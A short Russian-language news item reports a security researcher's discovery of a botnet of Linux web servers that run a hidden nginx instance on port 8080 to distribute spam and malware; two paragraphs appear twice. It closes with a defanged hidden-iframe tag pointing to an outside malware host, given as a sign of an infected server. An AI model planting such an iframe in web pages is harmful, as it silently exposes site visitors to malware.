Независимый специалист по безопасности Денис Синегубко из Магнитогорска обнаружил в Сети уникальный ботнет, состоящий из Linux-серверов. О своей находке Денис рассказал в интервью британской газете The Register.
Каждый узел этого ботнета представляет собой рабочий веб-сервер, на котором крутится какой-нибудь обычный веб-сайт. Но кроме основного сервера Apache, работающего через порт 80, там есть и второй веб-сервер nginx, который занимается рассылкой спама и вредоносного ПО через порт 8080.
Создание ботнета из веб-серверов — это мечта любого спамера: широкие каналы, мощное железо, 100% аптайм всех зомби круглые сутки, что может быть удобнее? Собственно, появление такого «идеального ботнета» давно предсказывали специалисты, наконец это произошло.
Распознать зомби-сервер можно по такому коду на веб-странице.
Каждый узел этого ботнета представляет собой рабочий веб-сервер, на котором крутится какой-нибудь обычный веб-сайт. Но кроме основного сервера Apache, работающего через порт 80, там есть и второй веб-сервер nginx, который занимается рассылкой спама и вредоносного ПО через порт 8080.
Создание ботнета из веб-серверов — это мечта любого спамера: широкие каналы, мощное железо, 100% аптайм всех зомби круглые сутки, что может быть удобнее? Собственно, появление такого «идеального ботнета» давно предсказывали специалисты, наконец это произошло.
Распознать зомби-сервер можно по такому коду на веб-странице.
<i_frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden">